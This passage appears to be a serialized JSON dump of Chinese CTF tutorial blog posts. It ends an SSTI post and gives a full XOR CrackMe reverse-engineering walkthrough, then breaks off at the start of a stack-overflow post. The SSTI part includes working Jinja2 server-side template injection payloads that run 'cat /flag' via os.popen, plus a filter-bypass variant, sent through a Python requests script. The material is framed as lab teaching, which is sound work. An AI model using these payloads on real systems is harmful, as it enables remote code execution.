确认。",[154,7335,7337],{"id":7336},"第二步直接打","第二步：直接打",[15,7339,7340,7342,7343,7346,7347,7349,7350,7352],{},[24,7341,292],{},"：先 ",[19,7344,7345],{},"config.__globals__"," 链试 ",[19,7348,6795],{},"；如果响应没出现 flag 内容，先改用 ",[19,7351,5209],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[102,7354,7356],{"className":431,"code":7355,"language":433,"meta":107,"style":107},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[19,7357,7358,7362,7366,7370,7374,7378],{"__ignoreMap":107},[111,7359,7360],{"class":113,"line":114},[111,7361,6960],{},[111,7363,7364],{"class":113,"line":140},[111,7365,452],{"emptyLinePlaceholder":451},[111,7367,7368],{"class":113,"line":448},[111,7369,7183],{},[111,7371,7372],{"class":113,"line":455},[111,7373,7188],{},[111,7375,7376],{"class":113,"line":461},[111,7377,7193],{},[111,7379,7380],{"class":113,"line":467},[111,7381,7208],{},[15,7383,7384],{},"预期输出中出现：",[102,7386,7389],{"className":7387,"code":7388,"language":191,"meta":107},[189],"flag{ssti_rce}\n",[19,7390,7388],{"__ignoreMap":107},[154,7392,7394],{"id":7393},"第三步被过滤时","第三步：被过滤时",[15,7396,7397,7399,7400,7402],{},[24,7398,292],{},"：把点号换成 ",[19,7401,7067],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7404,7405],{},"改用 attr 与 request.args 组合：",[102,7407,7410],{"className":7408,"code":7409,"language":191,"meta":107},[189],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[19,7411,7409],{"__ignoreMap":107},[10,7413,1021],{"id":1020},[15,7415,7416,7417,3277,7419,7422,7423,1030,7425,7428],{},"SSTI 主线：探测 ",[19,7418,6587],{},[19,7420,7421],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[19,7424,7067],{},[19,7426,7427],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1035,7430,7431],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":107,"searchDepth":140,"depth":140,"links":7433},[7434,7435,7436,7437,7438,7439,7440,7441],{"id":6400,"depth":448,"text":6401},{"id":6479,"depth":448,"text":6480},{"id":6569,"depth":448,"text":6570},{"id":6756,"depth":448,"text":6757},{"id":7046,"depth":448,"text":7047},{"id":862,"depth":448,"text":863},{"id":7293,"depth":448,"text":7294},{"id":1020,"depth":448,"text":1021},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1051,"image":7444,"alt":7445,"tags":7446,"published":451},"/blogs-img/blog6.png","SSTI 深入实战",[1055,6387,7447,2357],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6395,"description":7442},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":7453,"title":7454,"body":7455,"description":8395,"extension":1049,"meta":8396,"navigation":451,"ogImage":8397,"path":8400,"seo":8401,"stem":8402,"__hash__":8403},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7456,"toc":8384},[7457,7461,7464,7468,7474,7658,7661,7678,7681,7690,7695,7707,7711,7713,7718,7731,7735,7746,7749,7755,7760,7764,7775,7789,7791,7797,7806,7810,7815,7830,7832,7863,7865,7894,7901,7905,7937,7940,7965,7969,7972,8022,8027,8029,8037,8040,8046,8048,8060,8074,8076,8081,8090,8092,8097,8100,8115,8117,8123,8126,8130,8135,8152,8212,8214,8226,8228,8233,8236,8246,8250,8254,8337,8341,8372,8374,8381],[10,7458,7460],{"id":7459},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7462,7463],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7465,7467],{"id":7466},"二题目源码与编译","二、题目源码与编译",[15,7469,7470,7471,293],{},"出题人视角的 ",[19,7472,7473],{},"crackme.c",[102,7475,7477],{"className":1819,"code":7476,"language":1821,"meta":107,"style":107},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[19,7478,7479,7483,7488,7492,7497,7502,7507,7512,7517,7522,7527,7532,7537,7542,7547,7552,7557,7562,7567,7572,7577,7582,7587,7591,7595,7600,7605,7610,7615,7620,7625,7630,7635,7640,7645,7650,7654],{"__ignoreMap":107},[111,7480,7481],{"class":113,"line":114},[111,7482,2433],{},[111,7484,7485],{"class":113,"line":140},[111,7486,7487],{},"#include \u003Cstring.h>\n",[111,7489,7490],{"class":113,"line":448},[111,7491,452],{"emptyLinePlaceholder":451},[111,7493,7494],{"class":113,"line":455},[111,7495,7496],{},"int check(const char *input) {\n",[111,7498,7499],{"class":113,"line":461},[111,7500,7501],{},"    char key[] = \"k3y\";\n",[111,7503,7504],{"class":113,"line":467},[111,7505,7506],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[111,7508,7509],{"class":113,"line":473},[111,7510,7511],{},"    unsigned char enc[] = {\n",[111,7513,7514],{"class":113,"line":479},[111,7515,7516],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[111,7518,7519],{"class":113,"line":484},[111,7520,7521],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[111,7523,7524],{"class":113,"line":490},[111,7525,7526],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[111,7528,7529],{"class":113,"line":496},[111,7530,7531],{},"    };\n",[111,7533,7534],{"class":113,"line":502},[111,7535,7536],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[111,7538,7539],{"class":113,"line":508},[111,7540,7541],{},"    int n = strlen(input);\n",[111,7543,7544],{"class":113,"line":514},[111,7545,7546],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[111,7548,7549],{"class":113,"line":520},[111,7550,7551],{},"    if (n != 24) return 0;\n",[111,7553,7554],{"class":113,"line":526},[111,7555,7556],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[111,7558,7559],{"class":113,"line":532},[111,7560,7561],{},"    for (int i = 0; i \u003C n; i++)\n",[111,7563,7564],{"class":113,"line":537},[111,7565,7566],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[111,7568,7569],{"class":113,"line":543},[111,7570,7571],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[111,7573,7574],{"class":113,"line":549},[111,7575,7576],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[111,7578,7579],{"class":113,"line":555},[111,7580,7581],{},"    return 1;\n",[111,7583,7584],{"class":113,"line":561},[111,7585,7586],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[111,7588,7589],{"class":113,"line":567},[111,7590,2457],{},[111,7592,7593],{"class":113,"line":573},[111,7594,452],{"emptyLinePlaceholder":451},[111,7596,7597],{"class":113,"line":579},[111,7598,7599],{},"int main(int argc, char **argv) {\n",[111,7601,7602],{"class":113,"line":584},[111,7603,7604],{},"    if (argc != 2) {\n",[111,7606,7607],{"class":113,"line":590},[111,7608,7609],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[111,7611,7612],{"class":113,"line":596},[111,7613,7614],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[111,7616,7617],{"class":113,"line":601},[111,7618,7619],{},"        return 1;\n",[111,7621,7622],{"class":113,"line":607},[111,7623,7624],{},"    }\n",[111,7626,7627],{"class":113,"line":613},[111,7628,7629],{},"    if (check(argv[1]))\n",[111,7631,7632],{"class":113,"line":619},[111,7633,7634],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[111,7636,7637],{"class":113,"line":625},[111,7638,7639],{},"        puts(\"Correct!\");\n",[111,7641,7642],{"class":113,"line":630},[111,7643,7644],{},"    else\n",[111,7646,7647],{"class":113,"line":636},[111,7648,7649],{},"        puts(\"Wrong!\");\n",[111,7651,7652],{"class":113,"line":642},[111,7653,2514],{},[111,7655,7656],{"class":113,"line":648},[111,7657,2457],{},[15,7659,7660],{},"编译（解题时只有二进制，没有源码）：",[102,7662,7664],{"className":104,"code":7663,"language":106,"meta":107,"style":107},"gcc -o crackme crackme.c\n",[19,7665,7666],{"__ignoreMap":107},[111,7667,7668,7670,7672,7675],{"class":113,"line":114},[111,7669,2531],{"class":117},[111,7671,2534],{"class":248},[111,7673,7674],{"class":121}," crackme",[111,7676,7677],{"class":121}," crackme.c\n",[15,7679,7680],{},"运行确认行为：",[102,7682,7684],{"className":104,"code":7683,"language":106,"meta":107,"style":107},"./crackme\n",[19,7685,7686],{"__ignoreMap":107},[111,7687,7688],{"class":113,"line":114},[111,7689,7683],{"class":117},[15,7691,966,7692,27],{},[19,7693,7694],{},"Usage: ./crackme \u003Cflag>",[102,7696,7698],{"className":104,"code":7697,"language":106,"meta":107,"style":107},"./crackme wrongflag123456789012\n",[19,7699,7700],{"__ignoreMap":107},[111,7701,7702,7704],{"class":113,"line":114},[111,7703,2317],{"class":117},[111,7705,7706],{"class":121}," wrongflag123456789012\n",[15,7708,966,7709,27],{},[19,7710,1293],{},[10,7712,1166],{"id":1165},[15,7714,7715,7717],{},[24,7716,162],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,7719,7720,293,7722,7724,7725,7727,7728,7730],{},[24,7721,292],{},[19,7723,296],{}," 能看到 ",[19,7726,1297],{}," 这样的短密钥（需要 ",[19,7729,1301],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[154,7732,7734],{"id":7733},"_31-file","3.1 file",[102,7736,7738],{"className":104,"code":7737,"language":106,"meta":107,"style":107},"file crackme\n",[19,7739,7740],{"__ignoreMap":107},[111,7741,7742,7744],{"class":113,"line":114},[111,7743,179],{"class":117},[111,7745,2173],{"class":121},[15,7747,7748],{},"预期输出（Linux ELF）：",[102,7750,7753],{"className":7751,"code":7752,"language":191,"meta":107},[189],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[19,7754,7752],{"__ignoreMap":107},[15,7756,7757,7759],{},[19,7758,1209],{},"：函数名可见。",[154,7761,7763],{"id":7762},"_32-strings","3.2 strings",[15,7765,7766,7767,7769,7770,7772,7773,293],{},"注意：",[19,7768,296],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[19,7771,1297],{}," 只有 3 个字符，必须加 ",[19,7774,1301],{},[102,7776,7777],{"className":104,"code":2160,"language":106,"meta":107,"style":107},[19,7778,7779],{"__ignoreMap":107},[111,7780,7781,7783,7785,7787],{"class":113,"line":114},[111,7782,296],{"class":117},[111,7784,1266],{"class":248},[111,7786,1269],{"class":248},[111,7788,2173],{"class":121},[15,7790,351],{},[102,7792,7795],{"className":7793,"code":7794,"language":191,"meta":107},[189],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[19,7796,7794],{"__ignoreMap":107},[15,7798,7799,7801,7802,7805],{},[19,7800,1297],{}," 极可能是密钥。",[19,7803,7804],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,7807,7809],{"id":7808},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,7811,7812,7814],{},[24,7813,162],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,7816,7817,7819,7820,7822,7823,7826,7827,7829],{},[24,7818,292],{},"：main 里 ",[19,7821,1532],{}," 后紧跟 ",[19,7824,7825],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[19,7828,2196],{},"，逆向思路立刻清晰。",[154,7831,1374],{"id":1373},[102,7833,7835],{"className":104,"code":7834,"language":106,"meta":107,"style":107},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[19,7836,7837],{"__ignoreMap":107},[111,7838,7839,7841,7843,7845,7847,7849,7851,7853,7855,7857,7859,7861],{"class":113,"line":114},[111,7840,1386],{"class":117},[111,7842,1389],{"class":248},[111,7844,1392],{"class":248},[111,7846,1395],{"class":121},[111,7848,7674],{"class":121},[111,7850,316],{"class":315},[111,7852,319],{"class":117},[111,7854,1425],{"class":248},[111,7856,1428],{"class":248},[111,7858,1432],{"class":1431},[111,7860,1435],{"class":121},[111,7862,1438],{"class":1431},[15,7864,1441],{},[102,7866,7868],{"className":1444,"code":7867,"language":1446,"meta":107,"style":107},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[19,7869,7870,7874,7878,7882,7886,7890],{"__ignoreMap":107},[111,7871,7872],{"class":113,"line":114},[111,7873,1453],{},[111,7875,7876],{"class":113,"line":140},[111,7877,1468],{},[111,7879,7880],{"class":113,"line":448},[111,7881,1473],{},[111,7883,7884],{"class":113,"line":455},[111,7885,1478],{},[111,7887,7888],{"class":113,"line":461},[111,7889,1483],{},[111,7891,7892],{"class":113,"line":467},[111,7893,1488],{},[15,7895,7896,7898,7899,27],{},[19,7897,1532],{}," 说明判断逻辑在 ",[19,7900,1561],{},[154,7902,7904],{"id":7903},"_42-objdump-看-check","4.2 objdump 看 check",[102,7906,7908],{"className":104,"code":7907,"language":106,"meta":107,"style":107},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[19,7909,7910],{"__ignoreMap":107},[111,7911,7912,7914,7916,7918,7920,7922,7924,7926,7928,7931,7933,7935],{"class":113,"line":114},[111,7913,1386],{"class":117},[111,7915,1389],{"class":248},[111,7917,1392],{"class":248},[111,7919,1395],{"class":121},[111,7921,7674],{"class":121},[111,7923,316],{"class":315},[111,7925,319],{"class":117},[111,7927,1425],{"class":248},[111,7929,7930],{"class":248}," 60",[111,7932,1432],{"class":1431},[111,7934,1617],{"class":121},[111,7936,1438],{"class":1431},[15,7938,7939],{},"预期会看到循环比较：",[102,7941,7943],{"className":1444,"code":7942,"language":1446,"meta":107,"style":107},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[19,7944,7945,7950,7955,7960],{"__ignoreMap":107},[111,7946,7947],{"class":113,"line":114},[111,7948,7949],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[111,7951,7952],{"class":113,"line":140},[111,7953,7954],{},"xor    eax, 0x...                 ; 与 key 异或\n",[111,7956,7957],{"class":113,"line":448},[111,7958,7959],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[111,7961,7962],{"class":113,"line":455},[111,7963,7964],{},"je     0x...\n",[154,7966,7968],{"id":7967},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,7970,7971],{},"安装并打开：",[102,7973,7975],{"className":104,"code":7974,"language":106,"meta":107,"style":107},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[19,7976,7977,7987,7997],{"__ignoreMap":107},[111,7978,7979,7981,7983,7985],{"class":113,"line":114},[111,7980,118],{"class":117},[111,7982,122],{"class":121},[111,7984,1740],{"class":121},[111,7986,1743],{"class":121},[111,7988,7989,7991,7993,7995],{"class":113,"line":140},[111,7990,1748],{"class":117},[111,7992,1751],{"class":121},[111,7994,1755],{"class":1754},[111,7996,1758],{"class":121},[111,7998,7999,8001,8003,8005,8008,8010,8012,8014,8016,8018,8020],{"class":113,"line":448},[111,8000,223],{"class":117},[111,8002,1765],{"class":121},[111,8004,1755],{"class":1754},[111,8006,8007],{"class":121},".zip",[111,8009,220],{"class":219},[111,8011,1775],{"class":1774},[111,8013,1765],{"class":121},[111,8015,1755],{"class":1754},[111,8017,1782],{"class":121},[111,8019,220],{"class":219},[111,8021,1787],{"class":117},[15,8023,8024,8025,27],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[19,8026,1561],{},[15,8028,1816],{},[102,8030,8031],{"className":1819,"code":2206,"language":1821,"meta":107,"style":107},[19,8032,8033],{"__ignoreMap":107},[111,8034,8035],{"class":113,"line":114},[111,8036,2206],{},[15,8038,8039],{},"得到逆运算关系：",[102,8041,8044],{"className":8042,"code":8043,"language":191,"meta":107},[189],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[19,8045,8043],{"__ignoreMap":107},[10,8047,1850],{"id":1849},[102,8049,8051],{"className":104,"code":8050,"language":106,"meta":107,"style":107},"gdb ./crackme\n",[19,8052,8053],{"__ignoreMap":107},[111,8054,8055,8057],{"class":113,"line":114},[111,8056,1877],{"class":117},[111,8058,8059],{"class":121}," ./crackme\n",[102,8061,8063],{"className":1889,"code":8062,"language":1877,"meta":107,"style":107},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[19,8064,8065,8069],{"__ignoreMap":107},[111,8066,8067],{"class":113,"line":114},[111,8068,1890],{},[111,8070,8071],{"class":113,"line":140},[111,8072,8073],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8075,351],{},[102,8077,8079],{"className":8078,"code":1902,"language":191,"meta":107},[189],[19,8080,1902],{"__ignoreMap":107},[102,8082,8084],{"className":1889,"code":8083,"language":1877,"meta":107,"style":107},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[19,8085,8086],{"__ignoreMap":107},[111,8087,8088],{"class":113,"line":114},[111,8089,8083],{},[15,8091,351],{},[102,8093,8095],{"className":8094,"code":1923,"language":191,"meta":107},[189],[19,8096,1923],{"__ignoreMap":107},[15,8098,8099],{},"查看 enc 数组（地址在反汇编中确定）：",[102,8101,8103],{"className":1889,"code":8102,"language":1877,"meta":107,"style":107},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[19,8104,8105,8110],{"__ignoreMap":107},[111,8106,8107],{"class":113,"line":114},[111,8108,8109],{},"(gdb) x/24bx 0x5555555551e0\n",[111,8111,8112],{"class":113,"line":140},[111,8113,8114],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8116,351],{},[102,8118,8121],{"className":8119,"code":8120,"language":191,"meta":107},[189],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[19,8122,8120],{"__ignoreMap":107},[15,8124,8125],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8127,8129],{"id":8128},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8131,8132,8134],{},[24,8133,162],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8136,8137,8139,8140,8143,8144,8147,8148,8151],{},[24,8138,292],{},"：因为 ",[19,8141,8142],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[19,8145,8146],{},"key[i%3]"," 得 ",[19,8149,8150],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[102,8153,8155],{"className":431,"code":8154,"language":433,"meta":107,"style":107},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[19,8156,8157,8161,8165,8169,8174,8178,8183,8188,8193,8198,8203,8207],{"__ignoreMap":107},[111,8158,8159],{"class":113,"line":114},[111,8160,2240],{},[111,8162,8163],{"class":113,"line":140},[111,8164,2245],{},[111,8166,8167],{"class":113,"line":448},[111,8168,2250],{},[111,8170,8171],{"class":113,"line":455},[111,8172,8173],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[111,8175,8176],{"class":113,"line":461},[111,8177,452],{"emptyLinePlaceholder":451},[111,8179,8180],{"class":113,"line":467},[111,8181,8182],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[111,8184,8185],{"class":113,"line":473},[111,8186,8187],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[111,8189,8190],{"class":113,"line":479},[111,8191,8192],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[111,8194,8195],{"class":113,"line":484},[111,8196,8197],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[111,8199,8200],{"class":113,"line":490},[111,8201,8202],{},"# bytes([...])：把整数列表转成字节串。\n",[111,8204,8205],{"class":113,"line":496},[111,8206,2290],{},[111,8208,8209],{"class":113,"line":502},[111,8210,8211],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8213,6212],{},[102,8215,8217],{"className":104,"code":8216,"language":106,"meta":107,"style":107},"python3 solve.py\n",[19,8218,8219],{"__ignoreMap":107},[111,8220,8221,8223],{"class":113,"line":114},[111,8222,3105],{"class":117},[111,8224,8225],{"class":121}," solve.py\n",[15,8227,185],{},[102,8229,8231],{"className":8230,"code":2301,"language":191,"meta":107},[189],[19,8232,2301],{"__ignoreMap":107},[15,8234,8235],{},"验证：",[102,8237,8238],{"className":104,"code":2310,"language":106,"meta":107,"style":107},[19,8239,8240],{"__ignoreMap":107},[111,8241,8242,8244],{"class":113,"line":114},[111,8243,2317],{"class":117},[111,8245,2320],{"class":121},[15,8247,185,8248,27],{},[19,8249,1290],{},[10,8251,8253],{"id":8252},"七必学工具","七、必学工具",[32,8255,8256,8266],{},[35,8257,8258],{},[38,8259,8260,8262,8264],{},[41,8261,872],{},[41,8263,875],{},[41,8265,878],{},[51,8267,8268,8280,8292,8307,8324],{},[38,8269,8270,8272,8275],{},[56,8271,179],{},[56,8273,8274],{},"看类型/是否 stripped",[56,8276,8277],{},[19,8278,8279],{},"file crackme",[38,8281,8282,8284,8287],{},[56,8283,296],{},[56,8285,8286],{},"提取字符串、指定最小长度",[56,8288,8289],{},[19,8290,8291],{},"strings -n 3 crackme",[38,8293,8294,8296,8299],{},[56,8295,1386],{},[56,8297,8298],{},"反汇编、看数据段",[56,8300,8301,918,8304],{},[19,8302,8303],{},"objdump -d -M intel crackme",[19,8305,8306],{},"objdump -s -j .rodata crackme",[38,8308,8309,8311,8314],{},[56,8310,2102],{},[56,8312,8313],{},"断点、运行、查看内存",[56,8315,8316,918,8318,918,8321],{},[19,8317,2110],{},[19,8319,8320],{},"run xxx",[19,8322,8323],{},"x/24bx addr",[38,8325,8326,8329,8332],{},[56,8327,8328],{},"Ghidra",[56,8330,8331],{},"反编译伪代码",[56,8333,8334],{},[19,8335,8336],{},"ghidraRun",[10,8338,8340],{"id":8339},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[1792,8342,8343,8350,8361,8367],{},[1795,8344,8345,8347,8348,27],{},[19,8346,8291],{}," → 找到密钥 ",[19,8349,1297],{},[1795,8351,8352,8354,8355,8357,8358,27],{},[19,8353,1386],{},"/Ghidra → 确认 ",[19,8356,1561],{}," 里是 ",[19,8359,8360],{},"input[i] ^ key[i%3] == enc[i]",[1795,8362,8363,8364,27],{},"Python 一行异或还原 → ",[19,8365,8366],{},"ctf{reverse_engineering}",[1795,8368,8369,8370,27],{},"运行验证 → ",[19,8371,1290],{},[10,8373,6360],{"id":6359},[15,8375,8376,8377,8380],{},"XOR CrackMe 的通用解法：",[24,8378,8379],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1035,8382,8383],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":107,"searchDepth":140,"depth":140,"links":8385},[8386,8387,8388,8389,8390,8391,8392,8393,8394],{"id":7459,"depth":448,"text":7460},{"id":7466,"depth":448,"text":7467},{"id":1165,"depth":448,"text":1166},{"id":7808,"depth":448,"text":7809},{"id":1849,"depth":448,"text":1850},{"id":8128,"depth":448,"text":8129},{"id":8252,"depth":448,"text":8253},{"id":8339,"depth":448,"text":8340},{"id":6359,"depth":448,"text":6360},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1051,"image":8397,"alt":8398,"tags":8399,"published":451},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[1055,2356,2134,2357],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7454,"description":8395},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":8405,"title":8406,"body":8407,"description":9492,"extension":1049,"meta":9493,"navigation":451,"ogImage":9494,"path":9498,"seo":9499,"stem":9500,"__hash__":9501},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8408,"toc":9479},[8409,8413,8428,8431,8433,8481,8483,8487,8567,8570,8589,8593,8598,8603,8615,8617,8622,8625,8680,8682,8687,8693,8696,8699,8709,8763,8765,8771,8785,8789,8794,8855,8857,8867,8869,8875,8893,8897,8903,8906,8933,8935,8941,8954,8960,8964,8971,8976,8985,8989,8995,8999,9275,9278,9284,9288,9335,9339,9400,9404,9415,9456,9458,9463,9467,9476],[10,8410,8412],{"id":8411},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8414,8415,918,8417,918,8420,8423,8424,8427],{},[19,8416,2376],{},[19,8418,8419],{},"strcpy",[19,8421,8422],{},"sprintf"," 